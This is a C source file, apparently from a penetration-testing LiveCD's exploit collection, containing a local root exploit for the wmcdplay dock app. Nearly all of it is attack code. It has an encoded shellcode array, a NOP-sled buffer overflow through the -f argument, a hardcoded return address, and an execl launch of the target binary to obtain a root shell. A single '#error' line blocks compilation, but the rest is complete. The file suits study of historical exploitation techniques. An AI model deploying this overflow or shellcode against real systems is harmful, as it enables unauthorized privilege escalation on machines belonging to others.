home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / wmexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  66 lines

  1. /*** Halloween 4 local root exploit for wmcdplay. Other distros are
  2.  *** maybe affected as well.
  3.  *** (C) 2000 by C-skills development. Under the GPL. 
  4.  *** 
  5.  *** Bugdiscovery + exploit by S. Krahmer & Stealth.
  6.  ***
  7.  *** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the
  8.  *** OpenBSD-freak. :-) Greets to all our friends. You know who you are.
  9.  *** 
  10.  ***
  11.  *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
  12.  ***
  13.  *** other advisories and kewl stuff at:
  14.  *** http://www.cs.uni-potsdam.de/homepages/students/linuxer
  15.  ***
  16.  ***/
  17. #include <stdio.h>
  18.  
  19. /* The shellcode can't contain '/' as wmcdplay will exit then.
  20.  * So i used Stealth's INCREDIBLE hellkit to generate these code! :-)
  21.  */
  22. char shell[] =
  23. "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
  24. "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  25. "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
  26. "\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
  27. "\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  28. "\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91"
  29. "\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91";
  30.  
  31. /* filename-buffer plus ret + ebp - defaultpath 
  32.  */
  33. #define buflen (256+8 - 28)
  34. #error "no kids please"
  35.  
  36. int main(int argc, char **argv)
  37. {                                       
  38.     char *wm[] = {
  39.         "/usr/X11R6/bin/wmcdplay", 
  40.         "-f", 
  41.         "-display", "0:0", /* one might comment this if already running on X; remotely you can
  42.                     * give your own server
  43.                             */
  44.         0
  45.     };
  46.     
  47.     char boom[buflen+10];
  48.     int i = 0, j = 0, ret =  0xbffff796;    /* this address works for me */
  49.  
  50.     memset(boom, 0, sizeof(boom));
  51.     memset(boom, 0x90, buflen);
  52.     if (argc > 1)
  53.         ret += atoi(argv[1]);
  54.     else
  55.         printf("You can also add an offset to the commandline. 40 worked for me on the console.\n");
  56.     for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
  57.         boom[i] = shell[j++];
  58.     *(long*)(&boom[i]) = ret; 
  59.     
  60.     printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
  61.            "Respect other users privacy!\n");
  62.            
  63.     execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0);
  64.     return 0;
  65. }
  66.